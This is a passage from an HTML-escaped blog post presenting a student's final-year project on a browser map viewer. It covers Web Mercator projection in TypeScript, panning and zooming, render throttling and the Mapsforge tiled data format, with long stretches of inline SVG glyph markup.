-0.18700027 -0.627 -0.68200016 -1.386 -1.3970001 -1.386 c -0.36300015 0 -0.54999995 0.21999998 -0.54999995 0.671 c 0 0.14299995 0.05499983 0.45099992 0.17599988 0.9459999 l 0.37400007 1.485 c 0.20899987 0.82500005 0.54999995 1.2429998 1.0340002 1.2429998 c 0.1539998 0 0.29699993 -0.032999992 0.41799974 -0.08799982 c -0.29699993 -0.09899998 -0.44000006 -0.29699993 -0.44000006 -0.59399986 c 0 -0.286 0.15400028 -0.42900014 0.4510002 -0.42900014 c 0.35199976 0 0.62699986 0.319 0.62699986 0.67100024 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gA1BDADE771CC07CEBCEC397EA5E3F220" overflow="visible"&gt;&lt;path d="M 0 0m 1.529 1.166 c -0.352 0 -0.58300006 -0.264 -0.58300006 -0.616 c 0 -0.33 0.25300002 -0.605 0.58300006 -0.605 c 0.15399992 0 0.2859999 0.044 0.385 0.143 l 0.010999918 -0.088 c 0 -0.693 -0.23099995 -1.287 -0.69299996 -1.76 c -0.07700002 -0.08800006 -0.12100005 -0.15400004 -0.12100005 -0.19799995 c 0 -0.11000013 0.04400003 -0.16499996 0.143 -0.16499996 c 0.0990001 0 0.23100007 0.13199997 0.41799998 0.38499987 c 0.37400007 0.528 0.5610001 1.1110001 0.5610001 1.738 c 0 0.583 -0.19799995 1.166 -0.704 1.166 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gD1F0DEADEB395B3F5C60AD3163D51B32" overflow="visible"&gt;&lt;path d="M 0 0m 1.793 4.862 c -0.495 0 -0.88 -0.2750001 -1.155 -0.8249998 c -0.20900002 -0.42900014 -0.319 -0.7260003 -0.319 -0.8910003 c 0 -0.09899998 0.055000007 -0.1539998 0.176 -0.1539998 c 0.15399998 0 0.16499996 0.065999985 0.20899999 0.23099995 c 0.25300002 0.86899996 0.605 1.309 1.056 1.309 c 0.143 0 0.22000003 -0.09899998 0.22000003 -0.29699993 c 0 -0.17600012 -0.055000067 -0.42900014 -0.176 -0.74800014 c -0.41799998 -1.1329999 -0.627 -1.892 -0.627 -2.299 c 0 -0.83599997 0.51699996 -1.331 1.3639998 -1.331 c 0.36300015 0 0.704 0.132 1.0120001 0.396 c -0.385 -1.452 -0.99 -2.178 -1.8149999 -2.178 c -0.37400007 0 -0.6270001 0.12099993 -0.75900006 0.36299992 c 0.44000006 0.022000074 0.65999997 0.23100007 0.65999997 0.62700003 c 0 0.27500004 -0.14299989 0.41799998 -0.43999994 0.41799998 c -0.407 0 -0.649 -0.34099996 -0.649 -0.74799997 c 0 -0.605 0.55 -0.9899999 1.188 -0.9899999 c 1.265 0 2.2990003 1.1659999 2.574 2.244 l 1.0340004 4.158 c 0.032999992 0.12100029 0.043999672 0.20900011 0.043999672 0.26399994 c 0 0.22000027 -0.12099981 0.3300004 -0.35199976 0.3300004 c -0.17600012 0 -0.31900024 -0.0880003 -0.41800022 -0.25300026 c -0.065999985 -0.23099995 -0.12099981 -0.4289999 -0.1539998 -0.59399986 l -0.704 -2.8270001 c -0.11000013 -0.39600003 -0.6930001 -0.89100003 -1.1880002 -0.89100003 c -0.41799998 0 -0.62699986 0.275 -0.62699986 0.83599997 c 0 0.462 0.18700004 1.166 0.54999995 2.112 c 0.14299989 0.385 0.22000003 0.6489999 0.22000003 0.803 c 0 0.53900003 -0.385 0.93499994 -0.924 0.93499994 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g48A1801D271A49748DC70B5AAC93C3B4" overflow="visible"&gt;&lt;path d="M 0 0m 0.858 -2.695 c 0.66 0.50600004 1.21 1.254 1.661 2.2549999 c 0.4289999 0.957 0.6489999 1.859 0.6489999 2.7280002 v 0.9239998 c 0 0.86899996 -0.22000003 1.7709999 -0.6489999 2.7280002 c -0.45099998 1.0009999 -1.001 1.7490001 -1.661 2.2549996 c -0.032999992 0.022000313 -0.065999985 0.032999992 -0.07699996 0.032999992 c -0.09900004 0 -0.15400004 -0.05499935 -0.15400004 -0.15399933 c 0 -0.044000626 0.022000015 -0.0880003 0.055000007 -0.12100029 c 0.57199997 -0.44000006 1.0339999 -1.1659999 1.375 -2.1670003 c 0.29700017 -0.86899996 0.45099998 -1.7269998 0.45099998 -2.574 v -0.9239998 c 0 -0.8470001 -0.1539998 -1.7050002 -0.45099998 -2.5740001 c -0.34099996 -1.0009999 -0.803 -1.727 -1.375 -2.167 c -0.032999992 -0.04399991 -0.055000007 -0.08799982 -0.055000007 -0.12099981 c 0 -0.099000216 0.055000007 -0.15400004 0.15400004 -0.15400004 c 0.010999978 0 0.04399997 0.010999918 0.07699996 0.032999992 Z "/&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;/svg&gt;&lt;/span&gt; coordinates, this would result in the “plate carrée” projection, as detailed in Section &lt;a href="#loc-58"&gt;2.5&lt;/a&gt;. The “plate carrée” projection is not particularly desirable, as it does not have any useful properties like conformality (preservation of angle) or preservation of area. Hence, for my application I chose to use Web Mercator, which preserves conformality, and is the de facto standard for web maps.&lt;/p&gt;
&lt;p&gt;Initially, I attempted to use the algorithm from &lt;a href="#loc-147" role="doc-biblioref"&gt;[47, p. 41]&lt;/a&gt;;, as shown in Section &lt;a href="#loc-58"&gt;2.5&lt;/a&gt;. Unfortunately, I had some issues with getting these equations to produce reasonable results. Therefore, I turned to the OpenStreetMap Wiki, which helpfully provides a reference for transforming WGS84 data into the Web Mercator projection &lt;a href="#loc-114" role="doc-biblioref"&gt;[14]&lt;/a&gt;. I translated the C example into TypeScript, and it correctly projected the data — see the implementation below.&lt;/p&gt;
&lt;div class="typst-code"&gt;
&lt;pre&gt;&lt;code data-lang="typescript"&gt;&lt;span style="color: #d73948"&gt;const&lt;/span&gt; RADIANS_TO_DEGREES &lt;span style="color: #d73948"&gt;=&lt;/span&gt; &lt;span style="color: #b60157"&gt;180&lt;/span&gt; &lt;span style="color: #d73948"&gt;/&lt;/span&gt; &lt;span style="color: #4b69c6"&gt;Math&lt;/span&gt;.&lt;span style="color: #4b69c6"&gt;PI&lt;/span&gt;;&lt;br&gt;&lt;br&gt;&lt;span style="color: #74747c"&gt;//&lt;/span&gt;&lt;span style="color: #74747c"&gt; calculate x/long&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d73948"&gt;const&lt;/span&gt; x &lt;span style="color: #d73948"&gt;=&lt;/span&gt; long;&lt;br&gt;&lt;span style="color: #74747c"&gt;//&lt;/span&gt;&lt;span style="color: #74747c"&gt; calculate y/lat&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d73948"&gt;const&lt;/span&gt; y &lt;span style="color: #d73948"&gt;=&lt;/span&gt; &lt;span style="color: #4b69c6"&gt;Math&lt;/span&gt;.&lt;span style="color: #4b69c6"&gt;log&lt;/span&gt;(&lt;span style="color: #4b69c6"&gt;Math&lt;/span&gt;.&lt;span style="color: #4b69c6"&gt;tan&lt;/span&gt;(&lt;br&gt; (lat &lt;span style="color: #d73948"&gt;/&lt;/span&gt; RADIANS_TO_DEGREES) &lt;span style="color: #d73948"&gt;/&lt;/span&gt; &lt;span style="color: #b60157"&gt;2&lt;/span&gt; &lt;span style="color: #d73948"&gt;+&lt;/span&gt; &lt;span style="color: #4b69c6"&gt;Math&lt;/span&gt;.&lt;span style="color: #4b69c6"&gt;PI&lt;/span&gt; &lt;span style="color: #d73948"&gt;/&lt;/span&gt; &lt;span style="color: #b60157"&gt;4&lt;/span&gt;&lt;br&gt;)) &lt;span style="color: #d73948"&gt;*&lt;/span&gt; RADIANS_TO_DEGREES;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;figure&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/uni-final-year-project/images/ferndown-buildings_hu_2429bc0a6079351d.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/uni-final-year-project/images/ferndown-buildings_hu_4a2f1ab0b4fd5c5f.webp 320w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/ferndown-buildings_hu_60c59238f3598528.webp 640w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/uni-final-year-project/images/ferndown-buildings_hu_73dacfd0abc9833a.jpg'
width="701"
height="799"
loading="lazy"
alt='Rendering some GeoJSON data to the canvas'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;figcaption&gt;Figure 1:&lt;span style="white-space: pre-wrap"&gt;&amp;#x20;&amp;#x20;&lt;/span&gt;Rendering some GeoJSON data to the canvas&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;This proof of concept was entirely static, with the viewport and zoom level hardcoded into the program. To make the implementation simpler I wrote a function that scaled all the coordinates to be around (0,0), so that I didn’t have to handle offsetting the viewport.&lt;/p&gt;
&lt;h3&gt;Adding interactivity — panning and zooming&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Source in &lt;code&gt;proof-of-concepts/3-panning-and-zooming&lt;/code&gt;, online demo at &lt;a href="https://files.george.honeywood.org.uk/3-panning-and-zooming/"&gt;&lt;code&gt;files.george.honeywood.org.uk/3-panning-and-zooming/&lt;/code&gt;&lt;/a&gt;, or &lt;a href="https://youtu.be/_JvGwLra_Q4"&gt;demo video&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The third proof of concept heavily built upon the second — with the additional goal of adding interactivity in the form of panning and zooming. Since being mobile friendly is a priority for my project, I made sure to add touch controls once I had it working with mouse events.&lt;/p&gt;
&lt;p&gt;The first part I tackled was the zooming. This turned out to be as simple as multiplying each projected coordinate by some scale factor, which I was already doing in the previous proof of concept. To modify this scale factor, the user can use the +/- buttons, the mouse scroll wheel, or a pinch gesture on a touch device. Pinch gestures were the most challenging to implement, as you have to handle and interpret &lt;code&gt;Touch&lt;/code&gt; events for each separate finger on the screen.&lt;/p&gt;
&lt;p&gt;Panning also turned out to be relatively easy — my implementation involved adding some offsets to the projected and scaled coordinates in the latitude and longitude axes. More involved was zooming the map about some arbitrary point. For example, on desktop, you expect a map to zoom into the position of your mouse cursor, when on mobile you expect the middle of your pinch gesture. To achieve this, I update the &lt;code&gt;x&lt;/code&gt; and &lt;code&gt;y&lt;/code&gt; offsets whenever you zoom, with a smaller offset change when zooming into the top left, and a larger one for the bottom right. Another issue I had to handle is that at a low zoom level, zooming was relatively quick, but once you reached higher zoom levels, it got slower and slower. To compensate for this I made the scale factor logarithmic.&lt;/p&gt;
&lt;figure&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/uni-final-year-project/images/the-world_hu_97717bbbcd9941c9.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/uni-final-year-project/images/the-world_hu_6e16f050b32a19ce.webp 320w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/the-world_hu_fad88fea2f7086d5.webp 640w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/the-world_hu_c837aa852175f1c7.webp 960w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/the-world_hu_1503456a92b1eaca.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/uni-final-year-project/images/the-world_hu_c87d8b8f3d375713.jpg'
width="3786"
height="1678"
loading="lazy"
alt='An interactive world map, using Natural Earth data'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;figcaption&gt;Figure 2:&lt;span style="white-space: pre-wrap"&gt;&amp;#x20;&amp;#x20;&lt;/span&gt;An interactive world map, using Natural Earth data&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;For testing the zooming between low and high zoom, I needed some “large scale” data to supplement the localized OSM data that I had downloaded for the previous proof of concept. Natural Earth Cultural Vector data seemed suitable, as it is readily available as GeoJSON, is released in the public domain, and is suitably low-detail for my purpose &lt;a id="loc-67" href="#loc-150" role="doc-biblioref"&gt;[50]&lt;/a&gt;. Once again I used &lt;code&gt;geojson.io&lt;/code&gt; &lt;a href="#loc-149" role="doc-biblioref"&gt;[49]&lt;/a&gt;, this time to merge these two sets of data.&lt;/p&gt;
&lt;p&gt;To begin with, I was simply redrawing the map every time a &lt;code&gt;Touch&lt;/code&gt; or &lt;code&gt;Mouse&lt;/code&gt; event fired. This worked, but these events would often fire very rapidly (&gt;60 times/second), resulting in a slow panning experience, where rendering was occurring unnecessarily. My solution for this was &lt;code&gt;requestAnimationFrame()&lt;/code&gt;, which allows you to have some function executed at a regular interval by the browser &lt;a id="loc-68" href="#loc-151" role="doc-biblioref"&gt;[51]&lt;/a&gt;. Therefore, I could modify the state of the map as often as necessary, then have it smoothly rendered at regular intervals to reflect any changes to zoom or offsets.&lt;/p&gt;
&lt;p&gt;Unfortunately, this change meant the canvas re-rendered 60 times a second at all times, even when no state change had occurred. This is a waste of processing power and energy, especially on mobile devices. To remedy this I introduced a &lt;code&gt;dirty&lt;/code&gt; flag, which I set whenever a state change had occurred. I then check this &lt;code&gt;dirty&lt;/code&gt; flag at the beginning of the &lt;code&gt;render()&lt;/code&gt; function, and return early if the internal state is unchanged — as shown in the implementation below. The end result was a map that updated smoothly 60 times a second when state changes were occurring, and not at all when the map was static.&lt;/p&gt;
&lt;div class="typst-code"&gt;
&lt;pre&gt;&lt;code data-lang="typescript"&gt;public &lt;span style="color: #4b69c6"&gt;render&lt;/span&gt;() {&lt;br&gt; &lt;span style="color: #74747c"&gt;//&lt;/span&gt;&lt;span style="color: #74747c"&gt; if nothing has changed, don't bother re-rendering&lt;/span&gt;&lt;br&gt; &lt;span style="color: #d73948"&gt;if&lt;/span&gt; (&lt;span style="color: #d73948"&gt;!&lt;/span&gt;&lt;span style="color: #d73948"&gt;this&lt;/span&gt;.dirty) {&lt;br&gt; &lt;span style="color: #4b69c6"&gt;requestAnimationFrame&lt;/span&gt;(() &lt;span style="color: #d73948"&gt;=&gt;&lt;/span&gt; &lt;span style="color: #d73948"&gt;this&lt;/span&gt;.&lt;span style="color: #4b69c6"&gt;render&lt;/span&gt;());&lt;br&gt; &lt;span style="color: #d73948"&gt;return&lt;/span&gt;;&lt;br&gt; }&lt;br&gt; &lt;span style="color: #d73948"&gt;this&lt;/span&gt;.dirty &lt;span style="color: #d73948"&gt;=&lt;/span&gt; &lt;span style="color: #d73948"&gt;false&lt;/span&gt;;&lt;br&gt; [&lt;span style="color: #d73948"&gt;...&lt;/span&gt;]&lt;br&gt;}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;h3 id="loc-69"&gt;Rendering tiled data from a Mapsforge file&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Source in &lt;code&gt;proof-of-concepts/4-rendering-osm-data&lt;/code&gt;, online demo at &lt;a href="https://files.george.honeywood.org.uk/4-rendering-osm-data/#15/50.7895/-1.8938"&gt;&lt;code&gt;files.george.honeywood.org.uk/4-rendering-osm-data/&lt;/code&gt;&lt;/a&gt;, &lt;a href="https://youtu.be/2cvZ-veBUto"&gt;mobile demo video&lt;/a&gt;, or &lt;a href="https://youtu.be/0evN3RT42QQ"&gt;desktop demo video&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;My final proof of concept revolved around reading tiled vector OSM data. This allows for a map viewer that is performant at a wide range of zoom levels, as it can switch to more detailed data as you zoom in, and less detailed as you zoom out. It also solves the issue of which data to render — my previous proof of concepts rendered all the data, all the time, even if it was off canvas. With tiled data, you only have to render the tiles that are currently within the viewport.&lt;/p&gt;
&lt;p&gt;The bulk of the work for this proof of concept came in the form of writing a parser for the Mapsforge format &lt;a href="#loc-112" role="doc-biblioref"&gt;[12]&lt;/a&gt;. I decided to use this format based on my report on OpenStreetMap data sources, in Section &lt;a href="#loc-52"&gt;2.4&lt;/a&gt;. This was because it seemed simpler to parse than MBTiles, which is the other popular choice for tiled vector map files. It is a binary format that is designed to space-efficiently encode geographical data, such that it can be rendered on low-power mobile devices.&lt;/p&gt;
&lt;h4&gt;The Mapsforge format&lt;/h4&gt;
&lt;p&gt;Here I will explain the main concepts of the Mapsforge format, that I had to understand whilst writing the parser. This information is mostly as per the specification &lt;a href="#loc-112" role="doc-biblioref"&gt;[12]&lt;/a&gt;, supplemented by what I learnt as I progressed.&lt;/p&gt;
&lt;h5&gt;Points of Interest (PoIs)&lt;/h5&gt;
&lt;p&gt;These represent tagged OpenStreetMap nodes, such as shops, bus stops, or any other objects that have been mapped as a node. They are also used for city/town/place labels at low zoom levels.&lt;/p&gt;
&lt;h5&gt;Ways&lt;/h5&gt;
&lt;p&gt;Ways are an abstraction over OpenStreetMap ways and relations, presenting both as a single type. OSM represents complex structures such as buildings with internal courtyards as multiple ways, for the outer and inner parts. These are then linked by a multipolygon relation that labels each part as inner or outer &lt;a id="loc-70" href="#loc-152" role="doc-biblioref"&gt;[52]&lt;/a&gt;. These are non-trivial to efficiently interpret, especially with large amounts of data, so it makes sense to push this complexity to the map-writer software.&lt;/p&gt;
&lt;h5&gt;Indexes&lt;/h5&gt;
&lt;p&gt;In order to retrieve a specific tile of data, we need to know where in the file it is stored. This is achieved through a set of indexes for each sub file. Each index entry stores a pointer to the start of a tile. The indexes are stored as row major 5 byte integers, with the first value being for the first tile &lt;span style="display: inline-block"&gt;&lt;svg class="typst-frame" style="overflow: visible; width: 4.535333333333332em; height: 0.683em;" viewBox="0 0 49.88866666666666 7.513000000000001" width="49.88866666666666pt" height="7.513000000000001pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 0 7.513000000000001)"&gt;&lt;use xlink:href="#g12E319C43CA464B0F5F60BC3B25E348B" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 4.279 7.513000000000001)"&gt;&lt;use xlink:href="#g288EB05AEC3878210F61A71EB8174F80" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 10.570999999999998 7.513000000000001)"&gt;&lt;use xlink:href="#gA1BDADE771CC07CEBCEC397EA5E3F220" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 15.462333333333332 7.513000000000001)"&gt;&lt;use xlink:href="#gD1F0DEADEB395B3F5C60AD3163D51B32" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 21.16033333333333 7.513000000000001)"&gt;&lt;use xlink:href="#g48A1801D271A49748DC70B5AAC93C3B4" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 25.43933333333333 7.513000000000001)"&gt;&lt;use xlink:href="#g12E319C43CA464B0F5F60BC3B25E348B" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 29.71833333333333 7.513000000000001)"&gt;&lt;use xlink:href="#gFD2112639B0D2471708560F8720745C2" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 35.21833333333333 7.513000000000001)"&gt;&lt;use xlink:href="#gA1BDADE771CC07CEBCEC397EA5E3F220" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 40.109666666666655 7.513000000000001)"&gt;&lt;use xlink:href="#gFD2112639B0D2471708560F8720745C2" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 45.609666666666655 7.513000000000001)"&gt;&lt;use xlink:href="#g48A1801D271A49748DC70B5AAC93C3B4" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;defs id="glyph"&gt;&lt;symbol id="g12E319C43CA464B0F5F60BC3B25E348B" overflow="visible"&gt;&lt;path d="M 0 0m 3.498 -2.728 c 0.09899998 0 0.15400004 0.05499983 0.15400004 0.15400004 c 0 0.032999992 -0.022000074 0.0769999 -0.055000067 0.12099981 c -0.5719998 0.44000006 -1.0339999 1.1660001 -1.375 2.167 c -0.29699993 0.869 -0.45099986 1.727 -0.45099986 2.5740001 v 0.9239998 c 0 0.8470001 0.15399992 1.7049999 0.45099986 2.574 c 0.34100008 1.0010004 0.8030002 1.7270002 1.375 2.1670003 c 0.032999992 0.032999992 0.055000067 0.076999664 0.055000067 0.12100029 c 0 0.09899998 -0.055000067 0.15399933 -0.15400004 0.15399933 c -0.010999918 0 -0.04399991 -0.01099968 -0.0769999 -0.032999992 c -0.6600001 -0.50599957 -1.21 -1.2539997 -1.661 -2.2549996 c -0.42900002 -0.95700026 -0.64900005 -1.8590002 -0.64900005 -2.7280002 v -0.9239998 c 0 -0.8690001 0.22000003 -1.7710001 0.64900005 -2.7280002 c 0.45099998 -1.0009999 1.0009999 -1.7489998 1.661 -2.2549999 c 0.032999992 -0.022000074 0.065999985 -0.032999992 0.0769999 -0.032999992 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g288EB05AEC3878210F61A71EB8174F80" overflow="visible"&gt;&lt;path d="M 0 0m 5.797 4.103 c 0 0.50600004 -0.4949999 0.7589998 -1.0450001 0.7589998 c -0.47300005 0 -0.8469999 -0.25299978 -1.1329999 -0.7589998 c -0.23099995 0.50600004 -0.61599994 0.7589998 -1.177 0.7589998 c -0.5389999 0 -0.979 -0.25299978 -1.331 -0.74800014 c -0.29699993 -0.4289999 -0.45099998 -0.7479999 -0.45099998 -0.9569998 c 0 -0.09899998 0.055000007 -0.15400004 0.16500002 -0.15400004 c 0.09900004 0 0.16500002 0.055000067 0.18699998 0.15400004 c 0.20899999 0.638 0.671 1.3859997 1.4080001 1.3859997 c 0.36299992 0 0.5389998 -0.23099995 0.5389998 -0.6819997 c 0 -0.23100019 -0.19799995 -1.089 -0.58299994 -2.5630002 c -0.18700004 -0.737 -0.51699996 -1.1 -0.9899999 -1.1 c -0.15400004 0 -0.29700005 0.033000007 -0.41800004 0.088000014 c 0.28599995 0.109999985 0.42899996 0.30799997 0.42899996 0.594 c 0 0.286 -0.143 0.42900002 -0.43999994 0.42900002 c -0.36300004 0 -0.638 -0.30799997 -0.638 -0.671 c 0 -0.50600004 0.51699996 -0.759 1.056 -0.759 c 0.462 0 0.83599997 0.253 1.1329999 0.759 c 0.20900011 -0.50600004 0.605 -0.759 1.177 -0.759 c 0.5279999 0 0.96799994 0.253 1.3200002 0.74799997 c 0.29699993 0.42900002 0.45099974 0.748 0.45099974 0.957 c 0 0.09899998 -0.05499983 0.15400004 -0.16499996 0.15400004 c -0.09899998 0 -0.1539998 -0.055000067 -0.1869998 -0.15400004 c -0.18700027 -0.627 -0.68200016 -1.386 -1.3970001 -1.386 c -0.36300015 0 -0.54999995 0.21999998 -0.54999995 0.671 c 0 0.14299995 0.05499983 0.45099992 0.17599988 0.9459999 l 0.37400007 1.485 c 0.20899987 0.82500005 0.54999995 1.2429998 1.0340002 1.2429998 c 0.1539998 0 0.29699993 -0.032999992 0.41799974 -0.08799982 c -0.29699993 -0.09899998 -0.44000006 -0.29699993 -0.44000006 -0.59399986 c 0 -0.286 0.15400028 -0.42900014 0.4510002 -0.42900014 c 0.35199976 0 0.62699986 0.319 0.62699986 0.67100024 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gA1BDADE771CC07CEBCEC397EA5E3F220" overflow="visible"&gt;&lt;path d="M 0 0m 1.529 1.166 c -0.352 0 -0.58300006 -0.264 -0.58300006 -0.616 c 0 -0.33 0.25300002 -0.605 0.58300006 -0.605 c 0.15399992 0 0.2859999 0.044 0.385 0.143 l 0.010999918 -0.088 c 0 -0.693 -0.23099995 -1.287 -0.69299996 -1.76 c -0.07700002 -0.08800006 -0.12100005 -0.15400004 -0.12100005 -0.19799995 c 0 -0.11000013 0.04400003 -0.16499996 0.143 -0.16499996 c 0.0990001 0 0.23100007 0.13199997 0.41799998 0.38499987 c 0.37400007 0.528 0.5610001 1.1110001 0.5610001 1.738 c 0 0.583 -0.19799995 1.166 -0.704 1.166 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gD1F0DEADEB395B3F5C60AD3163D51B32" overflow="visible"&gt;&lt;path d="M 0 0m 1.793 4.862 c -0.495 0 -0.88 -0.2750001 -1.155 -0.8249998 c -0.20900002 -0.42900014 -0.319 -0.7260003 -0.319 -0.8910003 c 0 -0.09899998 0.055000007 -0.1539998 0.176 -0.1539998 c 0.15399998 0 0.16499996 0.065999985 0.20899999 0.23099995 c 0.25300002 0.86899996 0.605 1.309 1.056 1.309 c 0.143 0 0.22000003 -0.09899998 0.22000003 -0.29699993 c 0 -0.17600012 -0.055000067 -0.42900014 -0.176 -0.74800014 c -0.41799998 -1.1329999 -0.627 -1.892 -0.627 -2.299 c 0 -0.83599997 0.51699996 -1.331 1.3639998 -1.331 c 0.36300015 0 0.704 0.132 1.0120001 0.396 c -0.385 -1.452 -0.99 -2.178 -1.8149999 -2.178 c -0.37400007 0 -0.6270001 0.12099993 -0.75900006 0.36299992 c 0.44000006 0.022000074 0.65999997 0.23100007 0.65999997 0.62700003 c 0 0.27500004 -0.14299989 0.41799998 -0.43999994 0.41799998 c -0.407 0 -0.649 -0.34099996 -0.649 -0.74799997 c 0 -0.605 0.55 -0.9899999 1.188 -0.9899999 c 1.265 0 2.2990003 1.1659999 2.574 2.244 l 1.0340004 4.158 c 0.032999992 0.12100029 0.043999672 0.20900011 0.043999672 0.26399994 c 0 0.22000027 -0.12099981 0.3300004 -0.35199976 0.3300004 c -0.17600012 0 -0.31900024 -0.0880003 -0.41800022 -0.25300026 c -0.065999985 -0.23099995 -0.12099981 -0.4289999 -0.1539998 -0.59399986 l -0.704 -2.8270001 c -0.11000013 -0.39600003 -0.6930001 -0.89100003 -1.1880002 -0.89100003 c -0.41799998 0 -0.62699986 0.275 -0.62699986 0.83599997 c 0 0.462 0.18700004 1.166 0.54999995 2.112 c 0.14299989 0.385 0.22000003 0.6489999 0.22000003 0.803 c 0 0.53900003 -0.385 0.93499994 -0.924 0.93499994 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g48A1801D271A49748DC70B5AAC93C3B4" overflow="visible"&gt;&lt;path d="M 0 0m 0.858 -2.695 c 0.66 0.50600004 1.21 1.254 1.661 2.2549999 c 0.4289999 0.957 0.6489999 1.859 0.6489999 2.7280002 v 0.9239998 c 0 0.86899996 -0.22000003 1.7709999 -0.6489999 2.7280002 c -0.45099998 1.0009999 -1.001 1.7490001 -1.661 2.2549996 c -0.032999992 0.022000313 -0.065999985 0.032999992 -0.07699996 0.032999992 c -0.09900004 0 -0.15400004 -0.05499935 -0.15400004 -0.15399933 c 0 -0.044000626 0.022000015 -0.0880003 0.055000007 -0.12100029 c 0.57199997 -0.44000006 1.0339999 -1.1659999 1.375 -2.1670003 c 0.29700017 -0.86899996 0.45099998 -1.7269998 0.45099998 -2.574 v -0.9239998 c 0 -0.8470001 -0.1539998 -1.7050002 -0.45099998 -2.5740001 c -0.34099996 -1.0009999 -0.803 -1.727 -1.375 -2.167 c -0.032999992 -0.04399991 -0.055000007 -0.08799982 -0.055000007 -0.12099981 c 0 -0.099000216 0.055000007 -0.15400004 0.15400004 -0.15400004 c 0.010999978 0 0.04399997 0.010999918 0.07699996 0.032999992 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gFD2112639B0D2471708560F8720745C2" overflow="visible"&gt;&lt;path d="M 0 0m 2.739 -0.242 c 1.5509999 0 2.3209999 1.254 2.3209999 3.762 c 0 1.6830001 -0.35199976 2.8049998 -1.0450001 3.355 c -0.385 0.29699993 -0.8139999 0.45099974 -1.2649999 0.45099974 c -1.551 0 -2.321 -1.2649999 -2.321 -3.8059998 c 0 -2.024 0.53900003 -3.762 2.3100002 -3.762 Z m 1.2319999 6.006 c 0.0769999 -0.38499975 0.109999895 -1.0889997 0.109999895 -2.112 c 0 -1.0120001 -0.043999672 -1.76 -0.12099981 -2.244 c -0.14300013 -0.88 -0.54999995 -1.3199999 -1.221 -1.3199999 c -0.25300002 0 -0.50600004 0.09900001 -0.737 0.286 c -0.29700005 0.25299996 -0.47300005 0.77000004 -0.5500001 1.562 c -0.032999992 0.27499998 -0.04400003 0.847 -0.04400003 1.716 c 0 0.95700026 0.032999992 1.6279998 0.08800006 1.9910002 c 0.09899998 0.605 0.29699993 0.9899998 0.605 1.1549997 c 0.24199986 0.13199997 0.45099998 0.19799995 0.638 0.19799995 c 0.7149999 0 1.1109998 -0.5829997 1.2319999 -1.2319999 Z "/&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;/svg&gt;&lt;/span&gt; in the sub-file. You can then read the &lt;span style="display: inline-block"&gt;&lt;svg class="typst-frame" style="overflow: visible; width: 2.2226666666666666em; height: 0.683em;" viewBox="0 0 24.449333333333332 7.513000000000001" width="24.449333333333332pt" height="7.513000000000001pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 0 7.513000000000001)"&gt;&lt;use xlink:href="#g12E319C43CA464B0F5F60BC3B25E348B" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 